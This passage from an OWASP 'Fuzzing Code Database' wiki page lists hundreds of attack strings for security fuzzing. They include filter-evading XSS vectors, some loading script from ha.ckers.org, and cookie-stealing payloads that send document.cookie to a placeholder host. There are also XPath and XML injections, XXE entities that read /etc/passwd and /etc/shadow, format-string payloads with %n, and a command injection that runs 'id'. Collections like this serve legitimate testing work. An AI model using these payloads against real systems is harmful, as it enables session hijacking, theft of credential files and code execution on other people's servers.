STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | 